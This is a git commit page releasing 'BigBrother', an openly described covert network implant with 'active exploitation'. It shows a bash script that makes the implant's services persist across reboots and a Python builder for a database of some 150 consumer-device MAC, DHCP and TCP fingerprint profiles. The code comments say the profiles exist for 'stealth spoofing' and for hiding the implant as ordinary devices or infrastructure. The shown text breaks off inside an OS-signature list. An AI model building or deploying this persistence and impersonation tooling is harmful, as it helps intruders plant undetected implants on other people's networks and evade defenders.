Initial public release

Full BigBrother network implant - passive SOC + active exploitation.
Personal identifiers removed; all capabilities intact.
See README.md for setup and docs/deployment.md for detailed deployment.
This commit is contained in:
n0mad1k
2026-06-26 09:52:50 -04:00
commit ccc6b729de
175 changed files with 47941 additions and 0 deletions
+174
View File
@@ -0,0 +1,174 @@
#!/usr/bin/env bash
# BigBrother autostart -- Enable/disable auto-start on boot
# Manages: bigbrother-core, bigbrother-capture, bigbrother-watchdog
#
# Usage: autostart.sh enable | disable | status
set -euo pipefail
# ── Colors ──────────────────────────────────────────────────────────────────
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
CYAN='\033[0;36m'
BOLD='\033[1m'
NC='\033[0m'
info() { echo -e "${GREEN}[+]${NC} $*"; }
warn() { echo -e "${YELLOW}[!]${NC} $*"; }
error() { echo -e "${RED}[-]${NC} $*"; }
step() { echo -e "${CYAN}[*]${NC} ${BOLD}$*${NC}"; }
die() { error "$*"; exit 1; }
# ── Service list ─────────────────────────────────────────────────────────────
SERVICES=(
bigbrother-core.service
bigbrother-capture.service
bigbrother-watchdog.service
)
# ── Root check ───────────────────────────────────────────────────────────────
require_root() {
[[ $EUID -eq 0 ]] || die "Must be run as root (try: sudo $0 $*)"
}
# ── Usage ─────────────────────────────────────────────────────────────────────
usage() {
echo "Usage: $0 <command>"
echo ""
echo "Commands:"
echo " enable -- Enable and start all BigBrother services at boot"
echo " disable -- Disable and stop all BigBrother services"
echo " status -- Show enabled/running state of all services"
exit 1
}
# ── Helpers ──────────────────────────────────────────────────────────────────
svc_is_enabled() {
systemctl is-enabled "$1" 2>/dev/null | grep -q "^enabled$"
}
svc_is_active() {
systemctl is-active "$1" 2>/dev/null | grep -q "^active$"
}
print_service_status() {
local svc="$1"
local enabled_label active_label
if svc_is_enabled "$svc"; then
enabled_label="${GREEN}enabled${NC}"
else
enabled_label="${RED}disabled${NC}"
fi
if svc_is_active "$svc"; then
active_label="${GREEN}running${NC}"
else
active_label="${YELLOW}stopped${NC}"
fi
printf " %-36s enabled=%-18b active=%b\n" \
"$svc" "$enabled_label" "$active_label"
}
# ── Commands ──────────────────────────────────────────────────────────────────
cmd_enable() {
require_root enable
step "Enabling BigBrother services for auto-start..."
for svc in "${SERVICES[@]}"; do
# Check the unit file exists before attempting to enable
if ! systemctl cat "$svc" &>/dev/null; then
warn "$svc unit file not found -- skipping (run setup.sh first?)"
continue
fi
info "Enabling $svc..."
systemctl enable "$svc" 2>&1 || warn " enable failed for $svc"
info "Starting $svc..."
systemctl start "$svc" 2>&1 || warn " start failed for $svc (check: journalctl -u $svc)"
done
echo ""
step "Post-enable status"
for svc in "${SERVICES[@]}"; do
print_service_status "$svc"
done
echo ""
info "BigBrother will start automatically on next boot"
}
cmd_disable() {
require_root disable
step "Disabling BigBrother services..."
for svc in "${SERVICES[@]}"; do
if ! systemctl cat "$svc" &>/dev/null; then
warn "$svc unit file not found -- skipping"
continue
fi
info "Stopping $svc..."
systemctl stop "$svc" 2>&1 || warn " stop failed for $svc (may already be stopped)"
info "Disabling $svc..."
systemctl disable "$svc" 2>&1 || warn " disable failed for $svc"
done
echo ""
step "Post-disable status"
for svc in "${SERVICES[@]}"; do
print_service_status "$svc"
done
echo ""
info "BigBrother will NOT start automatically on next boot"
}
cmd_status() {
step "BigBrother service status"
echo ""
for svc in "${SERVICES[@]}"; do
print_service_status "$svc"
done
echo ""
# Summary line
local enabled_count=0
local running_count=0
for svc in "${SERVICES[@]}"; do
svc_is_enabled "$svc" && ((enabled_count++)) || true
svc_is_active "$svc" && ((running_count++)) || true
done
local total=${#SERVICES[@]}
if [[ $enabled_count -eq $total ]]; then
info "Auto-start: ${GREEN}ON${NC} (${enabled_count}/${total} enabled)"
elif [[ $enabled_count -eq 0 ]]; then
info "Auto-start: ${RED}OFF${NC} (${enabled_count}/${total} enabled)"
else
warn "Auto-start: partial (${enabled_count}/${total} enabled)"
fi
if [[ $running_count -eq $total ]]; then
info "Running: ${GREEN}YES${NC} (${running_count}/${total} active)"
elif [[ $running_count -eq 0 ]]; then
info "Running: ${RED}NO${NC} (${running_count}/${total} active)"
else
warn "Running: partial (${running_count}/${total} active)"
fi
}
# ── Main ─────────────────────────────────────────────────────────────────────
[[ $# -ge 1 ]] || usage
case "$1" in
enable) cmd_enable ;;
disable) cmd_disable ;;
status) cmd_status ;;
-h|--help) usage ;;
*) error "Unknown command: $1"; usage ;;
esac
+693
View File
@@ -0,0 +1,693 @@
#!/usr/bin/env python3
"""Build SQLite data databases for SystemMonitor.
Creates:
- innocuous_macs.db : Consumer device MAC profiles for stealth spoofing
- oui.db : IEEE OUI vendor lookup (schema only, populated at first run)
- os_sigs.db : Passive OS fingerprint signatures (schema only)
- dhcp_fingerprints.db : DHCP option 55 fingerprints (schema only)
- ja3_fingerprints.db : JA3 TLS client fingerprints (schema only)
Called by setup.sh during bootstrap.
"""
import argparse
import os
import sqlite3
import sys
from pathlib import Path
def create_innocuous_macs_db(db_path: str) -> None:
"""Create innocuous MAC profiles database with ~50 real device profiles.
Each profile includes OUI, vendor, device_name, DHCP hostname pattern,
DHCP vendor class, TTL, TCP window size, and OS family -- everything
needed to impersonate the device at the network fingerprint level.
Table name and column names match what mac_manager.py queries:
mac_profiles(device_type, device_name, vendor, oui, ...)
"""
conn = sqlite3.connect(db_path)
conn.execute("PRAGMA journal_mode=WAL")
conn.executescript("""
CREATE TABLE IF NOT EXISTS mac_profiles (
id INTEGER PRIMARY KEY AUTOINCREMENT,
device_type TEXT NOT NULL,
oui TEXT NOT NULL,
vendor TEXT NOT NULL,
device_name TEXT NOT NULL,
dhcp_hostname TEXT,
dhcp_vendor_class TEXT,
ttl INTEGER DEFAULT 64,
tcp_window INTEGER DEFAULT 65535,
os_family TEXT DEFAULT 'Linux'
);
CREATE INDEX IF NOT EXISTS idx_mac_profiles_type ON mac_profiles(device_type);
CREATE INDEX IF NOT EXISTS idx_mac_profiles_oui ON mac_profiles(oui);
""")
profiles = [
# ── Streaming devices ───────────────────────────────────────────
("streaming", "FC:65:DE", "Amazon", "Fire TV Stick 4K",
"amazon-", "AmazonFireTV", 64, 26883, "Android"),
("streaming", "A0:02:DC", "Amazon", "Fire TV Stick Lite",
"amazon-", "AmazonFireTV", 64, 26883, "Android"),
("streaming", "44:D5:F2", "Amazon", "Fire TV Cube",
"amazon-", "AmazonFireTV", 64, 26883, "Android"),
("streaming", "34:D2:70", "Amazon", "Fire TV Stick 4K Max",
"amazon-", "AmazonFireTV", 64, 26883, "Android"),
("streaming", "D8:31:34", "Roku", "Roku Ultra",
"Roku-", "Roku/DVP-12.0", 64, 65535, "Linux"),
("streaming", "B0:A7:37", "Roku", "Roku Express",
"Roku-", "Roku/DVP-10.0", 64, 65535, "Linux"),
("streaming", "10:59:32", "Roku", "Roku Streaming Stick 4K",
"Roku-", "Roku/DVP-13.0", 64, 65535, "Linux"),
("streaming", "CC:6D:A0", "Roku", "Roku Express 4K",
"Roku-", "Roku/DVP-11.0", 64, 65535, "Linux"),
("streaming", "54:60:09", "Google", "Chromecast",
"Chromecast-", "Google", 64, 65535, "Linux"),
("streaming", "F4:F5:D8", "Google", "Chromecast with Google TV",
"Chromecast-", "Google", 64, 65535, "Android"),
("streaming", "48:D6:D5", "Google", "Chromecast with Google TV 4K",
"Chromecast-", "Google", 64, 65535, "Android"),
("streaming", "A4:83:E7", "Apple", "Apple TV 4K",
"Apple-TV", "AAPLBK", 64, 65535, "tvOS"),
("streaming", "40:CB:C0", "Apple", "Apple TV HD",
"Apple-TV", "AAPLBK", 64, 65535, "tvOS"),
("streaming", "00:04:4B", "Nvidia", "Nvidia Shield TV Pro",
"SHIELD-", "NVIDIA", 64, 65535, "Android"),
("streaming", "48:B0:2D", "Nvidia", "Nvidia Shield TV",
"SHIELD-", "NVIDIA", 64, 65535, "Android"),
# ── Smart TVs ──────────────────────────────────────────────────
("smart_tv", "8C:79:F5", "Samsung", "Samsung Smart TV",
"Samsung-TV", "Samsung", 128, 65535, "Tizen"),
("smart_tv", "BC:14:EF", "Samsung", "Samsung QLED TV",
"Samsung-TV", "Samsung", 128, 65535, "Tizen"),
("smart_tv", "F0:6E:0B", "Samsung", "Samsung Frame TV",
"Samsung-TV", "Samsung", 128, 65535, "Tizen"),
("smart_tv", "A8:23:FE", "LG", "LG webOS TV",
"LG-TV", "LG", 64, 65535, "webOS"),
("smart_tv", "58:FD:B1", "LG", "LG OLED TV",
"LG-TV", "LG", 64, 65535, "webOS"),
("smart_tv", "38:8C:50", "LG", "LG NanoCell TV",
"LG-TV", "LG", 64, 65535, "webOS"),
("smart_tv", "D4:38:9C", "Vizio", "Vizio SmartCast TV",
"VIZIO-TV", "Vizio", 64, 65535, "Linux"),
("smart_tv", "C0:79:82", "TCL", "TCL Roku TV",
"TCL-TV", "Roku/DVP", 64, 65535, "Linux"),
("smart_tv", "C8:02:10", "Sony", "Sony Bravia Android TV",
"Sony-TV", "Sony", 64, 65535, "Android"),
("smart_tv", "04:95:E6", "Hisense", "Hisense Vidaa TV",
"Hisense-TV", "Hisense", 64, 65535, "Linux"),
("smart_tv", "E4:B3:18", "Insignia", "Insignia Fire TV",
"amazon-", "AmazonFireTV", 64, 26883, "Android"),
("smart_tv", "7C:2A:DB", "Philips", "Philips Android TV",
"Philips-TV", "Philips", 64, 65535, "Android"),
("smart_tv", "E0:91:53", "Toshiba", "Toshiba Fire TV",
"amazon-", "AmazonFireTV", 64, 26883, "Android"),
# ── Smart speakers / assistants ────────────────────────────────
("smart_speaker", "48:A6:B8", "Sonos", "Sonos One",
"Sonos-", "Sonos", 64, 65535, "Linux"),
("smart_speaker", "5C:AA:FD", "Sonos", "Sonos Beam",
"Sonos-", "Sonos", 64, 65535, "Linux"),
("smart_speaker", "78:28:CA", "Sonos", "Sonos Move",
"Sonos-", "Sonos", 64, 65535, "Linux"),
("smart_speaker", "B8:E9:37", "Sonos", "Sonos Era 100",
"Sonos-", "Sonos", 64, 65535, "Linux"),
("smart_speaker", "30:FD:38", "Google", "Google Home Mini",
"Google-Home-", "Google", 64, 65535, "Linux"),
("smart_speaker", "1C:F2:9A", "Google", "Google Nest Hub",
"Google-Nest-", "Google", 64, 65535, "Linux"),
("smart_speaker", "20:DF:B9", "Google", "Google Nest Mini",
"Google-Nest-", "Google", 64, 65535, "Linux"),
("smart_speaker", "F8:0F:F9", "Google", "Google Nest Audio",
"Google-Nest-", "Google", 64, 65535, "Linux"),
("smart_speaker", "68:54:FD", "Amazon", "Echo Dot",
"amazon-", "AmazonEcho", 64, 26883, "Android"),
("smart_speaker", "74:C2:46", "Amazon", "Echo Show",
"amazon-", "AmazonEcho", 64, 26883, "Android"),
("smart_speaker", "F0:81:73", "Amazon", "Echo Pop",
"amazon-", "AmazonEcho", 64, 26883, "Android"),
("smart_speaker", "38:F7:3D", "Amazon", "Echo Studio",
"amazon-", "AmazonEcho", 64, 26883, "Android"),
("smart_speaker", "AC:63:BE", "Apple", "HomePod Mini",
"HomePod-", "Apple", 64, 65535, "audioOS"),
("smart_speaker", "28:6D:97", "Apple", "HomePod",
"HomePod-", "Apple", 64, 65535, "audioOS"),
("smart_speaker", "30:21:3B", "Bose", "Bose SoundLink",
"Bose-", "Bose", 64, 65535, "Linux"),
("smart_speaker", "04:52:C7", "Bose", "Bose Home Speaker 500",
"Bose-", "Bose", 64, 65535, "Linux"),
# ── Smart home / IoT ──────────────────────────────────────────
("iot", "4C:EB:D6", "Amazon", "Ring Doorbell",
"Ring-", "Amazon", 64, 65535, "Linux"),
("iot", "6C:63:9C", "Amazon", "Ring Spotlight Cam",
"Ring-", "Amazon", 64, 65535, "Linux"),
("iot", "18:B4:30", "Nest", "Nest Thermostat",
"Nest-", "Nest", 64, 65535, "Linux"),
("iot", "64:16:66", "Nest", "Nest Protect",
"Nest-", "Nest", 64, 65535, "Linux"),
("iot", "18:B4:30", "Nest", "Nest Cam Indoor",
"Nest-", "Nest", 64, 65535, "Linux"),
("iot", "00:17:88", "Philips", "Philips Hue Bridge",
"Philips-hue", "Philips-hue", 64, 65535, "Linux"),
("iot", "D8:0D:17", "TP-Link", "TP-Link Kasa Smart Plug",
"TP-Link-", "TP-Link", 64, 65535, "Linux"),
("iot", "B0:95:75", "TP-Link", "TP-Link Tapo Camera",
"Tapo-", "TP-Link", 64, 65535, "Linux"),
("iot", "2C:AA:8E", "Wyze", "Wyze Cam v3",
"Wyze-", "Wyze", 64, 65535, "Linux"),
("iot", "A4:DA:22", "Wyze", "Wyze Cam Outdoor",
"Wyze-", "Wyze", 64, 65535, "Linux"),
("iot", "44:61:32", "Ecobee", "Ecobee Thermostat",
"ecobee-", "ecobee", 64, 65535, "Linux"),
("iot", "50:14:79", "iRobot", "Roomba i7",
"iRobot-", "iRobot", 64, 65535, "Linux"),
("iot", "24:E1:24", "iRobot", "Roomba j7",
"iRobot-", "iRobot", 64, 65535, "Linux"),
("iot", "DC:A6:32", "Raspberry Pi", "IoT Sensor",
"raspberrypi", "RaspberryPi", 64, 29200, "Linux"),
("iot", "B4:E6:2D", "Raspberry Pi", "IoT Gateway",
"raspberrypi", "RaspberryPi", 64, 29200, "Linux"),
("iot", "B8:27:EB", "Raspberry Pi", "IoT Controller",
"raspberrypi", "RaspberryPi", 64, 29200, "Linux"),
("iot", "2C:F4:32", "Raspberry Pi", "Raspberry Pi 5",
"raspberrypi", "RaspberryPi", 64, 29200, "Linux"),
("iot", "98:CD:AC", "SimpliSafe", "SimpliSafe Hub",
"SimpliSafe-", "SimpliSafe", 64, 65535, "Linux"),
("iot", "CC:DB:A7", "Arlo", "Arlo Pro 4",
"Arlo-", "Arlo", 64, 65535, "Linux"),
("iot", "9C:21:6A", "TP-Link", "TP-Link Kasa Smart Switch",
"TP-Link-", "TP-Link", 64, 65535, "Linux"),
("iot", "78:11:DC", "Xiaomi", "Xiaomi Mi Smart Sensor",
"Xiaomi-", "Xiaomi", 64, 65535, "Linux"),
("iot", "04:CF:8C", "Xiaomi", "Xiaomi Roborock",
"Roborock-", "Xiaomi", 64, 65535, "Linux"),
("iot", "50:C7:BF", "TP-Link", "TP-Link Kasa Cam",
"Kasa-", "TP-Link", 64, 65535, "Linux"),
("iot", "B0:BE:76", "Eufy", "Eufy Doorbell",
"eufy-", "Anker", 64, 65535, "Linux"),
("iot", "58:D5:6E", "Wemo", "Wemo Smart Plug",
"Wemo-", "Belkin", 64, 65535, "Linux"),
("iot", "94:10:3E", "Belkin", "Belkin WeMo Switch",
"Wemo-", "Belkin", 64, 65535, "Linux"),
("iot", "38:2B:78", "Chamberlain", "myQ Smart Garage",
"myQ-", "Chamberlain", 64, 65535, "Linux"),
("iot", "00:1A:22", "Lutron", "Lutron Caseta Bridge",
"Lutron-", "Lutron", 64, 65535, "Linux"),
("iot", "D0:73:D5", "Lifx", "Lifx Smart Bulb",
"LIFX-", "LIFX", 64, 65535, "Linux"),
("iot", "7C:64:56", "Samsung", "SmartThings Hub",
"SmartThings-", "Samsung", 64, 65535, "Linux"),
("iot", "68:DB:F5", "August", "August Smart Lock",
"August-", "August", 64, 65535, "Linux"),
("iot", "B0:CE:18", "Honeywell", "Honeywell T6 Thermostat",
"Honeywell-", "Honeywell", 64, 65535, "Linux"),
# ── Printers ──────────────────────────────────────────────────
("printer", "3C:D9:2B", "HP", "HP LaserJet Pro",
"HP", "Hewlett-Packard", 128, 8192, "HP JetDirect"),
("printer", "C8:B5:B7", "HP", "HP OfficeJet Pro",
"HP", "Hewlett-Packard", 128, 8192, "HP JetDirect"),
("printer", "94:57:A5", "HP", "HP Color LaserJet",
"HP", "Hewlett-Packard", 128, 8192, "HP JetDirect"),
("printer", "D0:BF:9C", "HP", "HP ENVY Pro",
"HP", "Hewlett-Packard", 128, 8192, "HP JetDirect"),
("printer", "30:05:5C", "Brother", "Brother HL-L2350DW",
"BRN", "Brother", 128, 8192, "Brother"),
("printer", "00:80:77", "Brother", "Brother MFC-L2750DW",
"BRN", "Brother", 128, 8192, "Brother"),
("printer", "00:1B:A9", "Brother", "Brother DCP-L2550DW",
"BRN", "Brother", 128, 8192, "Brother"),
("printer", "2C:F0:5D", "Epson", "Epson EcoTank ET-4760",
"EPSON", "EPSON", 128, 8192, "Epson"),
("printer", "00:26:AB", "Epson", "Epson WorkForce Pro",
"EPSON", "EPSON", 128, 8192, "Epson"),
("printer", "64:EB:8C", "Canon", "Canon PIXMA G6020",
"Canon", "Canon", 128, 8192, "Canon"),
("printer", "18:0C:AC", "Canon", "Canon imageCLASS",
"Canon", "Canon", 128, 8192, "Canon"),
("printer", "00:C0:EE", "Kyocera", "Kyocera ECOSYS P2235dn",
"KYOCERA", "KYOCERA", 128, 8192, "Kyocera"),
("printer", "00:21:B7", "Lexmark", "Lexmark MS431dn",
"Lexmark-", "Lexmark", 128, 8192, "Lexmark"),
("printer", "00:00:74", "Ricoh", "Ricoh SP C261SFNw",
"Ricoh-", "RICOH", 128, 8192, "Ricoh"),
("printer", "00:00:AA", "Xerox", "Xerox VersaLink C400",
"Xerox-", "XEROX", 128, 8192, "Xerox"),
# ── Gaming consoles ───────────────────────────────────────────
("gaming", "7C:ED:8D", "Microsoft", "Xbox Series X",
"Xbox-", "Microsoft", 128, 65535, "Windows"),
("gaming", "C8:3F:26", "Microsoft", "Xbox Series S",
"Xbox-", "Microsoft", 128, 65535, "Windows"),
("gaming", "00:D9:D1", "Sony", "PlayStation 5",
"PS5-", "Sony", 64, 65535, "FreeBSD"),
("gaming", "98:B6:E9", "Sony", "PlayStation 4",
"PS4-", "Sony", 64, 65535, "FreeBSD"),
("gaming", "7C:BB:8A", "Nintendo", "Nintendo Switch",
"Nintendo-", "Nintendo", 64, 65535, "Nintendo"),
("gaming", "58:2F:40", "Nintendo", "Nintendo Switch OLED",
"Nintendo-", "Nintendo", 64, 65535, "Nintendo"),
("gaming", "34:AF:B3", "Valve", "Steam Deck",
"steamdeck-", "Valve", 64, 29200, "Linux"),
# ── Phones / tablets ──────────────────────────────────────────
("phone", "A4:83:E7", "Apple", "iPhone 15 Pro",
"iphone", "dhcpcd-6.x.x", 64, 65535, "iOS"),
("phone", "40:CB:C0", "Apple", "iPad Air",
"ipad", "dhcpcd-6.x.x", 64, 65535, "iPadOS"),
("phone", "3C:06:30", "Apple", "iPhone 14",
"iphone", "dhcpcd-6.x.x", 64, 65535, "iOS"),
("phone", "48:A9:1C", "Apple", "iPhone 13",
"iphone", "dhcpcd-6.x.x", 64, 65535, "iOS"),
("tablet", "3C:28:6D", "Samsung", "Galaxy Tab S9",
"Samsung-Tab", "dhcpcd-6.x.x", 64, 65535, "Android"),
("phone", "DC:1A:C5", "Samsung", "Galaxy S24",
"Galaxy-S", "dhcpcd-6.x.x", 64, 65535, "Android"),
("phone", "84:25:19", "Samsung", "Galaxy S23",
"Galaxy-S", "dhcpcd-6.x.x", 64, 65535, "Android"),
("phone", "50:55:27", "Google", "Pixel 8 Pro",
"Pixel-", "dhcpcd-6.x.x", 64, 65535, "Android"),
("phone", "94:B8:6D", "Google", "Pixel 7",
"Pixel-", "dhcpcd-6.x.x", 64, 65535, "Android"),
("phone", "4C:4F:EE", "OnePlus", "OnePlus 12",
"OnePlus-", "dhcpcd-6.x.x", 64, 65535, "Android"),
("phone", "9C:2E:A1", "Xiaomi", "Xiaomi 14",
"Xiaomi-", "dhcpcd-6.x.x", 64, 65535, "Android"),
("tablet", "64:A2:F9", "Apple", "iPad Pro M2",
"ipad", "dhcpcd-6.x.x", 64, 65535, "iPadOS"),
# ── Wearables ─────────────────────────────────────────────────
("wearable", "38:EC:0D", "Apple", "Apple Watch Ultra",
"Apple-Watch", "Apple", 64, 65535, "watchOS"),
("wearable", "44:00:49", "Apple", "Apple Watch SE",
"Apple-Watch", "Apple", 64, 65535, "watchOS"),
("wearable", "C8:28:E5", "Fitbit", "Fitbit Sense 2",
"Fitbit-", "Fitbit", 64, 65535, "FitbitOS"),
("wearable", "E0:E0:FC", "Garmin", "Garmin Venu 3",
"Garmin-", "Garmin", 64, 65535, "Linux"),
("wearable", "CC:79:CF", "Samsung", "Galaxy Watch 6",
"Galaxy-Watch", "Samsung", 64, 65535, "Tizen"),
# ── Network gear (hide as infrastructure) ─────────────────────
("network", "B4:FB:E4", "Ubiquiti", "UniFi AP",
"UAP-", "Ubiquiti", 64, 65535, "Linux"),
("network", "78:8A:20", "Ubiquiti", "USG Gateway",
"USG-", "Ubiquiti", 64, 65535, "Linux"),
("network", "24:5A:4C", "Ubiquiti", "UniFi Switch",
"USW-", "Ubiquiti", 64, 65535, "Linux"),
("network", "14:CC:20", "TP-Link", "TP-Link Archer AX50",
"TL-", "TP-Link", 64, 65535, "Linux"),
("network", "AC:84:C6", "TP-Link", "TP-Link Deco M5",
"Deco-", "TP-Link", 64, 65535, "Linux"),
("network", "20:A6:CD", "Netgear", "Netgear Orbi",
"Orbi-", "Netgear", 64, 65535, "Linux"),
("network", "C4:04:15", "Netgear", "Netgear Nighthawk",
"NETGEAR-", "Netgear", 64, 65535, "Linux"),
("network", "60:38:E0", "Linksys", "Linksys Velop",
"Linksys-", "Linksys", 64, 65535, "Linux"),
("network", "04:D4:C4", "ASUS", "ASUS RT-AX86U",
"ASUS-RT-", "ASUS", 64, 65535, "Linux"),
("network", "F8:BB:BF", "eero", "eero Pro 6E",
"eero-", "eero", 64, 65535, "Linux"),
("network", "68:D7:9A", "eero", "eero 6+",
"eero-", "eero", 64, 65535, "Linux"),
("network", "74:DA:88", "TP-Link", "TP-Link Deco XE75",
"Deco-", "TP-Link", 64, 65535, "Linux"),
("network", "AC:9E:17", "ASUS", "ASUS ZenWiFi",
"ASUS-", "ASUS", 64, 65535, "Linux"),
# ── NAS / home servers ────────────────────────────────────────
("nas", "00:11:32", "Synology", "Synology DS920+",
"DiskStation-", "Synology", 64, 29200, "Linux"),
("nas", "00:11:32", "Synology", "Synology DS423",
"DiskStation-", "Synology", 64, 29200, "Linux"),
("nas", "24:5E:BE", "QNAP", "QNAP TS-464",
"QNAP-", "QNAP", 64, 29200, "Linux"),
("nas", "00:08:9B", "QNAP", "QNAP TS-253E",
"QNAP-", "QNAP", 64, 29200, "Linux"),
]
conn.executemany("""
INSERT OR IGNORE INTO mac_profiles (device_type, oui, vendor, device_name,
dhcp_hostname, dhcp_vendor_class,
ttl, tcp_window, os_family)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)
""", profiles)
conn.commit()
count = conn.execute("SELECT COUNT(*) FROM mac_profiles").fetchone()[0]
conn.close()
print(f" innocuous_macs.db: {count} device profiles")
def create_oui_db(db_path: str) -> None:
"""Create OUI database schema (populated from IEEE list at first run)."""
conn = sqlite3.connect(db_path)
conn.execute("PRAGMA journal_mode=WAL")
conn.executescript("""
CREATE TABLE IF NOT EXISTS oui (
prefix TEXT PRIMARY KEY,
vendor TEXT NOT NULL
);
CREATE INDEX IF NOT EXISTS idx_oui_vendor ON oui(vendor);
""")
# Seed with common OUIs used by profiles to ensure basic functionality
# before the full IEEE list is downloaded
seed_ouis = [
("FC:65:DE", "Amazon Technologies Inc."),
("A0:02:DC", "Amazon Technologies Inc."),
("44:D5:F2", "Amazon Technologies Inc."),
("D8:31:34", "Roku, Inc."),
("B0:A7:37", "Roku, Inc."),
("54:60:09", "Google, Inc."),
("F4:F5:D8", "Google, Inc."),
("A4:83:E7", "Apple, Inc."),
("40:CB:C0", "Apple, Inc."),
("8C:79:F5", "Samsung Electronics Co.,Ltd"),
("BC:14:EF", "Samsung Electronics Co.,Ltd"),
("A8:23:FE", "LG Electronics"),
("58:FD:B1", "LG Electronics"),
("D4:38:9C", "Vizio, Inc."),
("C0:79:82", "TCL King Electrical Appliances"),
("C8:02:10", "Sony Interactive Entertainment Inc."),
("48:A6:B8", "Sonos, Inc."),
("5C:AA:FD", "Sonos, Inc."),
("30:FD:38", "Google, Inc."),
("1C:F2:9A", "Google, Inc."),
("68:54:FD", "Amazon Technologies Inc."),
("74:C2:46", "Amazon Technologies Inc."),
("4C:EB:D6", "Amazon Technologies Inc."),
("18:B4:30", "Nest Labs Inc."),
("00:17:88", "Philips Lighting BV"),
("D8:0D:17", "TP-Link Technologies Co.,Ltd."),
("2C:AA:8E", "Wyze Labs Inc."),
("44:61:32", "ecobee inc."),
("50:14:79", "iRobot Corporation"),
("24:E1:24", "iRobot Corporation"),
("DC:A6:32", "Raspberry Pi Trading Ltd"),
("B4:E6:2D", "Raspberry Pi Trading Ltd"),
("B8:27:EB", "Raspberry Pi Foundation"),
("3C:D9:2B", "HP Inc."),
("C8:B5:B7", "HP Inc."),
("30:05:5C", "Brother Industries, LTD."),
("00:80:77", "Brother Industries, LTD."),
("00:1B:A9", "Brother Industries, LTD."),
("2C:F0:5D", "Seiko Epson Corporation"),
("64:EB:8C", "Canon Inc."),
("7C:ED:8D", "Microsoft Corporation"),
("00:D9:D1", "Sony Interactive Entertainment Inc."),
("98:B6:E9", "Sony Interactive Entertainment Inc."),
("7C:BB:8A", "Nintendo Co.,Ltd"),
("B4:FB:E4", "Ubiquiti Inc"),
("78:8A:20", "Ubiquiti Inc"),
("14:CC:20", "TP-Link Technologies Co.,Ltd."),
("AC:84:C6", "TP-Link Technologies Co.,Ltd."),
("20:A6:CD", "NETGEAR"),
("C4:04:15", "NETGEAR"),
]
conn.executemany(
"INSERT OR IGNORE INTO oui (prefix, vendor) VALUES (?, ?)",
seed_ouis
)
conn.commit()
count = conn.execute("SELECT COUNT(*) FROM oui").fetchone()[0]
conn.close()
print(f" oui.db: {count} seed OUI entries (full IEEE list loaded at first run)")
def create_os_sigs_db(db_path: str) -> None:
"""Create passive OS fingerprint signature database.
p0f-style: TCP SYN parameters -> OS identification.
"""
conn = sqlite3.connect(db_path)
conn.execute("PRAGMA journal_mode=WAL")
conn.executescript("""
CREATE TABLE IF NOT EXISTS signatures (
id INTEGER PRIMARY KEY AUTOINCREMENT,
ttl INTEGER NOT NULL,
window INTEGER NOT NULL,
df INTEGER NOT NULL DEFAULT 1,
mss INTEGER DEFAULT 0,
os TEXT NOT NULL,
version TEXT DEFAULT ''
);
CREATE INDEX IF NOT EXISTS idx_sigs_ttl_window ON signatures(ttl, window);
""")
# Comprehensive OS fingerprints (TTL, window, DF, MSS, OS, version)
# Based on p0f v3 signature database and real-world observations
sigs = [
# ── Linux ────────────────────────────────────────────────────
(64, 29200, 1, 1460, "Linux", "3.11-5.x (default)"),
(64, 65535, 1, 1460, "Linux", "2.6.x"),
(64, 5840, 1, 1460, "Linux", "2.6.x (older)"),
(64, 14600, 1, 1460, "Linux", "3.x"),
(64, 26883, 1, 1460, "Linux", "Android 10+"),
(64, 14480, 1, 1460, "Linux", "Android 8-9"),
(64, 28960, 1, 1460, "Linux", "5.x-6.x (newer)"),
(64, 32120, 1, 1460, "Linux", "6.x (Ubuntu 24.04)"),
(64, 29200, 1, 1380, "Linux", "3.x-5.x (VPN/tunnel)"),
(64, 65535, 1, 1400, "Linux", "2.6.x (PPPoE)"),
(64, 5720, 1, 1460, "Linux", "2.4.x"),
(64, 16384, 1, 1460, "Linux", "2.2.x"),
(64, 32767, 1, 1460, "Linux", "2.0.x"),
(64, 26883, 1, 1400, "Linux", "Android (WiFi)"),
(64, 64240, 1, 1460, "Linux", "5.x (RHEL 8+)"),
(64, 14480, 1, 1460, "Linux", "Chrome OS"),
(64, 65535, 1, 1360, "Linux", "WireGuard tunnel"),
(64, 10240, 1, 1460, "Linux", "Alpine/musl"),
(64, 43690, 1, 1460, "Linux", "3.x (SYN cookie)"),
(64, 22880, 1, 1460, "Linux", "4.x-5.x (containers)"),
(64, 62580, 1, 1460, "Linux", "6.x (Fedora 39+)"),
# ── Windows ──────────────────────────────────────────────────
(128, 65535, 1, 1460, "Windows", "10/11/Server 2016+"),
(128, 8192, 1, 1460, "Windows", "7/Server 2008 R2"),
(128, 16384, 1, 1460, "Windows", "Vista/Server 2008"),
(128, 64240, 1, 1460, "Windows", "10 (build 1703+)"),
(128, 65535, 1, 1400, "Windows", "10/11 (PPPoE/VPN)"),
(128, 65535, 1, 1380, "Windows", "10/11 (tunnel)"),
(128, 65535, 0, 1460, "Windows", "XP SP3"),
(128, 64512, 0, 1460, "Windows", "XP SP1-SP2"),
(128, 16384, 0, 1460, "Windows", "2000"),
(128, 65535, 1, 1360, "Windows", "10/11 (WireGuard)"),
(128, 64240, 1, 1400, "Windows", "10 (PPPoE)"),
(128, 8192, 1, 1380, "Windows", "7 (VPN)"),
(128, 65535, 1, 1440, "Windows", "Server 2019/2022"),
(128, 65535, 1, 1460, "Windows", "Server 2022"),
(128, 32768, 1, 1460, "Windows", "Embedded Compact"),
# ── macOS ────────────────────────────────────────────────────
(64, 65535, 1, 1460, "macOS", "10.x-14.x (default)"),
(64, 65535, 1, 1400, "macOS", "10.x-14.x (PPPoE)"),
(64, 65535, 1, 1380, "macOS", "10.x-14.x (tunnel)"),
(64, 65535, 1, 1360, "macOS", "Sonoma (WireGuard)"),
(64, 65535, 1, 1220, "macOS", "10.x (6in4 tunnel)"),
(64, 32768, 1, 1460, "macOS", "10.4-10.5 (Tiger/Leopard)"),
(64, 33304, 1, 1460, "macOS", "10.6 (Snow Leopard)"),
# ── iOS / iPadOS / tvOS / watchOS ────────────────────────────
(64, 65535, 1, 1460, "iOS", "15.x-17.x"),
(64, 65535, 1, 1400, "iOS", "15.x-17.x (cellular)"),
(64, 65535, 1, 1380, "iOS", "VPN"),
(64, 65535, 1, 1460, "iPadOS", "16.x-17.x"),
(64, 65535, 1, 1460, "tvOS", "16.x-17.x"),
(64, 65535, 1, 1460, "watchOS", "9.x-10.x"),
# ── FreeBSD / OpenBSD / NetBSD ──────────────────────────────
